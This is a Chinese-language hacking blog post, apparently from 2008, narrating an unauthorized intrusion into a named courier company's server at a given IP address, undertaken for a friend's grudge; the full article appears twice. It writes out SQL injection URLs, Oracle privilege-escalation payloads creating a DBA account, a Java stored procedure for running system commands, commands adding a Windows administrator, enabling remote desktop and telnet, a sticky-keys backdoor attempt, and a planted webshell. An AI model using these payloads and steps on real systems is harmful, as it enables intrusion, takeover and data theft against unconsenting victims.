對(duì)著名快遞公司的艱難的oracle入侵過(guò)程(圖)
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:36:06 作者:佚名
我要評(píng)論
輕車(chē)熟路
一個(gè)對(duì)新飛鴻有意見(jiàn)的親密朋友找我說(shuō)能不能把這個(gè)公司的網(wǎng)站給搞了,我一聽(tīng)公司,心想,企業(yè)站都是垃圾,好搞,便痛快答應(yīng)(人品真好!),呵呵,但是后來(lái)才發(fā)現(xiàn)沒(méi)我想像的那么簡(jiǎn)單。
asp的頁(yè)面,啊d和google掃注入點(diǎn)沒(méi)有,意料之中,工具誤
輕車(chē)熟路
一個(gè)對(duì)新飛鴻有意見(jiàn)的親密朋友找我說(shuō)能不能把這個(gè)公司的網(wǎng)站給搞了,我一聽(tīng)公司,心想,企業(yè)站都是垃圾,好搞,便痛快答應(yīng)(人品真好!),呵呵,但是后來(lái)才發(fā)現(xiàn)沒(méi)我想像的那么簡(jiǎn)單。
asp的頁(yè)面,啊d和google掃注入點(diǎn)沒(méi)有,意料之中,工具誤差太大!于是旁注,結(jié)果只有這一個(gè)站,然后便邊開(kāi)著流光掃服務(wù)器邊習(xí)慣性的去站上亂逛去手工找注入點(diǎn),一會(huì)的功夫出來(lái)一條鏈接,如圖:
習(xí)慣性的單引號(hào),如圖
很明顯的注入,猜測(cè)源碼大體是這樣的:
select XX from XXX where wen='云南';
而且數(shù)據(jù)庫(kù)類(lèi)型為oracle,頓時(shí)來(lái)了精神,很少有這種練手的機(jī)會(huì)!估計(jì)服務(wù)器配置肯定不錯(cuò)!由于這種類(lèi)型的數(shù)據(jù)庫(kù)沒(méi)什么好的工具,就直接來(lái)手工吧,那樣比較刺激,據(jù)我朋友說(shuō)這個(gè)公司很大,網(wǎng)絡(luò)也很大,數(shù)據(jù)庫(kù)量更是大上加大,難怪用oracle呢,所以放棄后臺(tái)提權(quán)的想法!首先用union查詢(xún)確定字段數(shù)和暴一些敏感資料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;
返回正確,說(shuō)明此表字段名大于20,繼續(xù)提交
http://211.154.103.15/server2.asp?wen=四川省' order by 30--;
仍然返回正確,經(jīng)過(guò)一些列的猜測(cè)然后提交,49返回正確,50出錯(cuò),確定字段為49個(gè),然后提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select NULL,NULL,……,NULL from dual-
中間省略,一共49個(gè)null, 由于union查詢(xún)需要數(shù)據(jù)類(lèi)型匹配,否則出錯(cuò),所以這里用null而不用數(shù)字可以避免類(lèi)型錯(cuò)誤,然后提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,NULL,……,NULL from dual--;
出錯(cuò)顯示類(lèi)型不匹配,換成
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,NULL from dual--;
返回正確,說(shuō)明第一個(gè)是字符型的,但是下面對(duì)應(yīng)位置并沒(méi)有顯示,繼續(xù)按以上方法嘗試后面48個(gè),當(dāng)試到12和13時(shí),下面對(duì)應(yīng)位置顯示了,如圖
好了,現(xiàn)在我們就要用下面那兩個(gè)地方爆我們需要的東西,看下oracle版本,提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,'11', (select banner from sys.v_$version where rownum=1),'13'……NULL from dual--;
結(jié)果如圖
繼續(xù)提交
select member from v$logfile where rownum=1
獲得操作系統(tǒng)版本,如圖
確定是windows,下面查看服務(wù)器sid,提交select instance_name from v$instance,如圖
待會(huì)遠(yuǎn)程連接要用的,下面確定下主機(jī)ip,telnet 漏洞頁(yè)上顯示的ip地址的1521端口,為oracle的端口, ,成功,1521開(kāi)放,下面就本地架設(shè)個(gè)oracle客戶(hù)端,利用oracle的那些默認(rèn)帳號(hào)密碼登錄,嘗試n次均失敗告終,管理員安全意思不錯(cuò),表?yè)P(yáng)下!^.^
下面就利用oracle的內(nèi)置函數(shù)SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES過(guò)濾不嚴(yán)的漏洞,至于這個(gè)函數(shù)的具體漏洞形成的原因,這里就不占篇幅了,想知道的可以去我博客,對(duì)oracle不熟悉的可以跳過(guò)這一部分,繼續(xù)構(gòu)造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
這里講解下,and后面把函數(shù)求邏輯或然后與空比較,這樣系統(tǒng)會(huì)先求函數(shù)值,便會(huì)執(zhí)行我們構(gòu)造在函數(shù)里的語(yǔ)句,這樣就往數(shù)據(jù)庫(kù)加了個(gè)用戶(hù)名為rebeyond密碼為rebeyond的用戶(hù),然后執(zhí)行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
便把我們建的用戶(hù)加為dba權(quán)限,下面賦予用戶(hù)遠(yuǎn)程連接權(quán)限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
,好了,下面遠(yuǎn)程連接!
● 峰回路轉(zhuǎn)
本以為建了dba權(quán)限的用戶(hù),遠(yuǎn)程連接繼續(xù)拿權(quán)限就完了,但是當(dāng)我以dba身份登錄時(shí)卻出現(xiàn)這個(gè),如圖:
百度了下才知道是服務(wù)器那邊配置的問(wèn)題,由于是服務(wù)器端的問(wèn)題,一時(shí)不好解決,就暫時(shí)先用normal方式登錄,連接成功,進(jìn)去去權(quán)限設(shè)置那把權(quán)限能勾的都勾上,如圖:
因?yàn)槲覀儺吘故莇ba權(quán)限的,雖然沒(méi)以dba方式登錄,但是除了開(kāi)關(guān)數(shù)據(jù)庫(kù),其他權(quán)限還是都有的,然后就是想辦法提權(quán)拿服務(wù)器,雖然oracle不支持xp_cmdshell直接執(zhí)行系統(tǒng)命令,但是對(duì)pl\sql的支持是非常另人激動(dòng)的,因?yàn)榭梢酝ㄟ^(guò)建立java存儲(chǔ)過(guò)程來(lái)執(zhí)行命令,注意這時(shí)建完shell后要對(duì)數(shù)據(jù)庫(kù)用戶(hù)賦予對(duì)磁盤(pán)文件操作的權(quán)限(在sqlplus里執(zhí)行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
。cmd打開(kāi)sqlplus(和oracle客戶(hù)端一起安裝的),輸入sqlplus /nolog,然后輸入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
是不是用到了我們前面爆出的服務(wù)器sid呢,hoho,連接成功,下面開(kāi)始執(zhí)行命令,創(chuàng)建java存儲(chǔ)過(guò)程,代碼如下:
java存儲(chǔ)過(guò)程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
第三步:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
創(chuàng)建完之后,就可以通過(guò)x := RUN_CMz(dos命令)來(lái)執(zhí)行系統(tǒng)命令了。
建 完存儲(chǔ)過(guò)程后系統(tǒng)命令執(zhí)行成功, 如圖
但是后來(lái)發(fā)現(xiàn)這個(gè)shell很不爽,如果遇到需要交互的命令就會(huì)卡死,剛開(kāi)始想用"ftp 我的ip地址"檢測(cè)下能不能執(zhí)行,結(jié)果卡死,我這邊防火墻也沒(méi)反應(yīng),不解,后tasklist,發(fā)現(xiàn)ftp://ftp.exe/,確定對(duì)方不能連接外網(wǎng),可能有防火墻或作了設(shè)置,于是用ftp傳馬思路拋棄,打個(gè)systeninfo命令看下系統(tǒng),是2003,于是打算先建個(gè)超級(jí)用戶(hù)然后開(kāi)3389,執(zhí)行exec :x := RUN_CMD('net user')結(jié)果卡死,猜測(cè)net被刪,執(zhí)行
exec :x := RUN_CMD('net1 user');
成功,執(zhí)行
exec :x := RUN_CMD('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
成功,下面用reg命令讀下3389的狀態(tài)和端口,執(zhí)行
exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');
發(fā)現(xiàn)fDenyTSconnections值為1,說(shuō)明3389關(guān)閉,于是依次執(zhí)行以下語(yǔ)句開(kāi)3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
因?yàn)閏md一交互就卡死,所以加了個(gè)/f強(qiáng)行參數(shù),搞定后運(yùn)行mstsc連接,結(jié)果另人吐血,能連上但是卻沒(méi)有登錄窗口,提示說(shuō)什么" awgina.dll被替換成未知版本",猜測(cè)可能把3389用到的dll給刪除了,因?yàn)殡m然不能登錄但可以連接,于是想到了替換sethc.exe,在shell下依次執(zhí)行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
按五次shift后發(fā)現(xiàn)沒(méi)替換成功,也沒(méi)刪除成功,推斷原因只有一個(gè),就是沒(méi)權(quán)限,但是我在前面用java建shell前專(zhuān)門(mén)賦予了權(quán)限的,不解,百度一番!發(fā)現(xiàn)賦予文件操作權(quán)限必須得以dba的方式登錄,但是前面說(shuō)了我們無(wú)法以dba方式登錄,頓時(shí)大腦一片空白,沒(méi)有寫(xiě)和刪除權(quán)限,只有運(yùn)行權(quán)限,思路一下少了很多,繼續(xù)!!忽然想到了telnet,用reg查看了下telnet服務(wù)的狀態(tài)為禁用,于是執(zhí)行
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f
把telnet服務(wù)設(shè)置為自動(dòng),然后就是想辦法讓服務(wù)器重啟開(kāi)telnet。
柳暗花明:
shell里執(zhí)行
rundll32.exe user.exe,restartwindows
,不一會(huì)主機(jī)重啟了,成功telnet,這樣權(quán)限我們已經(jīng)拿到了!但是要向圖像界面進(jìn)軍,在telnet執(zhí)行netstat -an看了下端口,發(fā)現(xiàn)5632,熟悉提權(quán)的人應(yīng)該很熟悉,這是pcanywhere的默認(rèn)端口,但是怎么才能知道pcanywhere的密碼呢?因?yàn)椴荒苓B接外網(wǎng),所以直接傳cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目錄d:\site,執(zhí)行
echo "" >d:\site\guestboook.asp
訪問(wèn)成功,然后用海洋一句話(huà)提交大馬成功如圖:
跳轉(zhuǎn)到pcanywhere的cif文件目錄下載cif文件并破解,成功得到pcanywhere的密碼,如圖:
到這基本就結(jié)束了,但是pcanywhere遠(yuǎn)程很不爽,于是還是想開(kāi)用3389,于是百度搜索原因,發(fā)現(xiàn)是3389和pcanywhere沖突的原因并找到了解決辦法,刪除某個(gè)注冊(cè)表項(xiàng)就搞定了,在pcanywhere操作就很簡(jiǎn)單了,搞定后重啟服務(wù)器,連接對(duì)方3389,終于看到了熟悉的登錄界面,用前面建的用戶(hù)成功登入!如圖:
至此整個(gè)入侵過(guò)程宣告結(jié)束!
一個(gè)對(duì)新飛鴻有意見(jiàn)的親密朋友找我說(shuō)能不能把這個(gè)公司的網(wǎng)站給搞了,我一聽(tīng)公司,心想,企業(yè)站都是垃圾,好搞,便痛快答應(yīng)(人品真好!),呵呵,但是后來(lái)才發(fā)現(xiàn)沒(méi)我想像的那么簡(jiǎn)單。
asp的頁(yè)面,啊d和google掃注入點(diǎn)沒(méi)有,意料之中,工具誤差太大!于是旁注,結(jié)果只有這一個(gè)站,然后便邊開(kāi)著流光掃服務(wù)器邊習(xí)慣性的去站上亂逛去手工找注入點(diǎn),一會(huì)的功夫出來(lái)一條鏈接,如圖:
習(xí)慣性的單引號(hào),如圖
很明顯的注入,猜測(cè)源碼大體是這樣的:
select XX from XXX where wen='云南';
而且數(shù)據(jù)庫(kù)類(lèi)型為oracle,頓時(shí)來(lái)了精神,很少有這種練手的機(jī)會(huì)!估計(jì)服務(wù)器配置肯定不錯(cuò)!由于這種類(lèi)型的數(shù)據(jù)庫(kù)沒(méi)什么好的工具,就直接來(lái)手工吧,那樣比較刺激,據(jù)我朋友說(shuō)這個(gè)公司很大,網(wǎng)絡(luò)也很大,數(shù)據(jù)庫(kù)量更是大上加大,難怪用oracle呢,所以放棄后臺(tái)提權(quán)的想法!首先用union查詢(xún)確定字段數(shù)和暴一些敏感資料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;
返回正確,說(shuō)明此表字段名大于20,繼續(xù)提交
http://211.154.103.15/server2.asp?wen=四川省' order by 30--;
仍然返回正確,經(jīng)過(guò)一些列的猜測(cè)然后提交,49返回正確,50出錯(cuò),確定字段為49個(gè),然后提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select NULL,NULL,……,NULL from dual-
中間省略,一共49個(gè)null, 由于union查詢(xún)需要數(shù)據(jù)類(lèi)型匹配,否則出錯(cuò),所以這里用null而不用數(shù)字可以避免類(lèi)型錯(cuò)誤,然后提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,NULL,……,NULL from dual--;
出錯(cuò)顯示類(lèi)型不匹配,換成
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,NULL from dual--;
返回正確,說(shuō)明第一個(gè)是字符型的,但是下面對(duì)應(yīng)位置并沒(méi)有顯示,繼續(xù)按以上方法嘗試后面48個(gè),當(dāng)試到12和13時(shí),下面對(duì)應(yīng)位置顯示了,如圖
好了,現(xiàn)在我們就要用下面那兩個(gè)地方爆我們需要的東西,看下oracle版本,提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,'11', (select banner from sys.v_$version where rownum=1),'13'……NULL from dual--;
結(jié)果如圖
繼續(xù)提交
select member from v$logfile where rownum=1
獲得操作系統(tǒng)版本,如圖
確定是windows,下面查看服務(wù)器sid,提交select instance_name from v$instance,如圖
待會(huì)遠(yuǎn)程連接要用的,下面確定下主機(jī)ip,telnet 漏洞頁(yè)上顯示的ip地址的1521端口,為oracle的端口, ,成功,1521開(kāi)放,下面就本地架設(shè)個(gè)oracle客戶(hù)端,利用oracle的那些默認(rèn)帳號(hào)密碼登錄,嘗試n次均失敗告終,管理員安全意思不錯(cuò),表?yè)P(yáng)下!^.^
下面就利用oracle的內(nèi)置函數(shù)SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES過(guò)濾不嚴(yán)的漏洞,至于這個(gè)函數(shù)的具體漏洞形成的原因,這里就不占篇幅了,想知道的可以去我博客,對(duì)oracle不熟悉的可以跳過(guò)這一部分,繼續(xù)構(gòu)造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
這里講解下,and后面把函數(shù)求邏輯或然后與空比較,這樣系統(tǒng)會(huì)先求函數(shù)值,便會(huì)執(zhí)行我們構(gòu)造在函數(shù)里的語(yǔ)句,這樣就往數(shù)據(jù)庫(kù)加了個(gè)用戶(hù)名為rebeyond密碼為rebeyond的用戶(hù),然后執(zhí)行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
便把我們建的用戶(hù)加為dba權(quán)限,下面賦予用戶(hù)遠(yuǎn)程連接權(quán)限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
,好了,下面遠(yuǎn)程連接!
● 峰回路轉(zhuǎn)
本以為建了dba權(quán)限的用戶(hù),遠(yuǎn)程連接繼續(xù)拿權(quán)限就完了,但是當(dāng)我以dba身份登錄時(shí)卻出現(xiàn)這個(gè),如圖:
百度了下才知道是服務(wù)器那邊配置的問(wèn)題,由于是服務(wù)器端的問(wèn)題,一時(shí)不好解決,就暫時(shí)先用normal方式登錄,連接成功,進(jìn)去去權(quán)限設(shè)置那把權(quán)限能勾的都勾上,如圖:
因?yàn)槲覀儺吘故莇ba權(quán)限的,雖然沒(méi)以dba方式登錄,但是除了開(kāi)關(guān)數(shù)據(jù)庫(kù),其他權(quán)限還是都有的,然后就是想辦法提權(quán)拿服務(wù)器,雖然oracle不支持xp_cmdshell直接執(zhí)行系統(tǒng)命令,但是對(duì)pl\sql的支持是非常另人激動(dòng)的,因?yàn)榭梢酝ㄟ^(guò)建立java存儲(chǔ)過(guò)程來(lái)執(zhí)行命令,注意這時(shí)建完shell后要對(duì)數(shù)據(jù)庫(kù)用戶(hù)賦予對(duì)磁盤(pán)文件操作的權(quán)限(在sqlplus里執(zhí)行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
。cmd打開(kāi)sqlplus(和oracle客戶(hù)端一起安裝的),輸入sqlplus /nolog,然后輸入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
是不是用到了我們前面爆出的服務(wù)器sid呢,hoho,連接成功,下面開(kāi)始執(zhí)行命令,創(chuàng)建java存儲(chǔ)過(guò)程,代碼如下:
java存儲(chǔ)過(guò)程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
第三步:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
創(chuàng)建完之后,就可以通過(guò)x := RUN_CMz(dos命令)來(lái)執(zhí)行系統(tǒng)命令了。
建 完存儲(chǔ)過(guò)程后系統(tǒng)命令執(zhí)行成功, 如圖
但是后來(lái)發(fā)現(xiàn)這個(gè)shell很不爽,如果遇到需要交互的命令就會(huì)卡死,剛開(kāi)始想用"ftp 我的ip地址"檢測(cè)下能不能執(zhí)行,結(jié)果卡死,我這邊防火墻也沒(méi)反應(yīng),不解,后tasklist,發(fā)現(xiàn)ftp://ftp.exe/,確定對(duì)方不能連接外網(wǎng),可能有防火墻或作了設(shè)置,于是用ftp傳馬思路拋棄,打個(gè)systeninfo命令看下系統(tǒng),是2003,于是打算先建個(gè)超級(jí)用戶(hù)然后開(kāi)3389,執(zhí)行exec :x := RUN_CMD('net user')結(jié)果卡死,猜測(cè)net被刪,執(zhí)行
exec :x := RUN_CMD('net1 user');
成功,執(zhí)行
exec :x := RUN_CMD('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
成功,下面用reg命令讀下3389的狀態(tài)和端口,執(zhí)行
exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');
發(fā)現(xiàn)fDenyTSconnections值為1,說(shuō)明3389關(guān)閉,于是依次執(zhí)行以下語(yǔ)句開(kāi)3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
因?yàn)閏md一交互就卡死,所以加了個(gè)/f強(qiáng)行參數(shù),搞定后運(yùn)行mstsc連接,結(jié)果另人吐血,能連上但是卻沒(méi)有登錄窗口,提示說(shuō)什么" awgina.dll被替換成未知版本",猜測(cè)可能把3389用到的dll給刪除了,因?yàn)殡m然不能登錄但可以連接,于是想到了替換sethc.exe,在shell下依次執(zhí)行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
按五次shift后發(fā)現(xiàn)沒(méi)替換成功,也沒(méi)刪除成功,推斷原因只有一個(gè),就是沒(méi)權(quán)限,但是我在前面用java建shell前專(zhuān)門(mén)賦予了權(quán)限的,不解,百度一番!發(fā)現(xiàn)賦予文件操作權(quán)限必須得以dba的方式登錄,但是前面說(shuō)了我們無(wú)法以dba方式登錄,頓時(shí)大腦一片空白,沒(méi)有寫(xiě)和刪除權(quán)限,只有運(yùn)行權(quán)限,思路一下少了很多,繼續(xù)!!忽然想到了telnet,用reg查看了下telnet服務(wù)的狀態(tài)為禁用,于是執(zhí)行
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f
把telnet服務(wù)設(shè)置為自動(dòng),然后就是想辦法讓服務(wù)器重啟開(kāi)telnet。
柳暗花明:
shell里執(zhí)行
rundll32.exe user.exe,restartwindows
,不一會(huì)主機(jī)重啟了,成功telnet,這樣權(quán)限我們已經(jīng)拿到了!但是要向圖像界面進(jìn)軍,在telnet執(zhí)行netstat -an看了下端口,發(fā)現(xiàn)5632,熟悉提權(quán)的人應(yīng)該很熟悉,這是pcanywhere的默認(rèn)端口,但是怎么才能知道pcanywhere的密碼呢?因?yàn)椴荒苓B接外網(wǎng),所以直接傳cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目錄d:\site,執(zhí)行
echo "" >d:\site\guestboook.asp
訪問(wèn)成功,然后用海洋一句話(huà)提交大馬成功如圖:
跳轉(zhuǎn)到pcanywhere的cif文件目錄下載cif文件并破解,成功得到pcanywhere的密碼,如圖:
到這基本就結(jié)束了,但是pcanywhere遠(yuǎn)程很不爽,于是還是想開(kāi)用3389,于是百度搜索原因,發(fā)現(xiàn)是3389和pcanywhere沖突的原因并找到了解決辦法,刪除某個(gè)注冊(cè)表項(xiàng)就搞定了,在pcanywhere操作就很簡(jiǎn)單了,搞定后重啟服務(wù)器,連接對(duì)方3389,終于看到了熟悉的登錄界面,用前面建的用戶(hù)成功登入!如圖:
至此整個(gè)入侵過(guò)程宣告結(jié)束!
相關(guān)文章

什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來(lái)攻擊頁(yè)面的,大家都有這樣的經(jīng)歷,就是在訪問(wèn)論壇時(shí),如果這個(gè)論壇比較大,訪問(wèn)的人比較多,打開(kāi)頁(yè)面的速度會(huì)比較慢,對(duì)不?!一般來(lái)說(shuō),訪問(wèn)的人越多,論壇的頁(yè)2024-01-06
Windows系統(tǒng)安全風(fēng)險(xiǎn)-本地NTLM重放提權(quán)
入侵者主要通過(guò)Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過(guò)程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險(xiǎn)微軟并不認(rèn)為存在漏洞,所以2021-04-15
這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21- 這篇文章主要介紹了sql手工注入語(yǔ)句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說(shuō)過(guò)關(guān)于http和https的區(qū)別,對(duì)于加密的https,我們一直認(rèn)為它是相對(duì)安全的,可今天要講的是,一種繞過(guò)HTTPS加密得到明文信息的web攻擊方式,不知道這消息對(duì)你2016-08-10iPhone和Mac也會(huì)被黑 一條iMessage密碼可能就被盜了
一直以來(lái)蘋(píng)果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋(píng)果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會(huì)導(dǎo)致用戶(hù)信息泄露。2016-07-27- 國(guó)家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號(hào)被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤(pán)記錄器進(jìn)入攻擊者郵箱
面對(duì)惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒(méi)有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤(pán)記錄器,進(jìn)入攻擊者郵箱2016-07-06


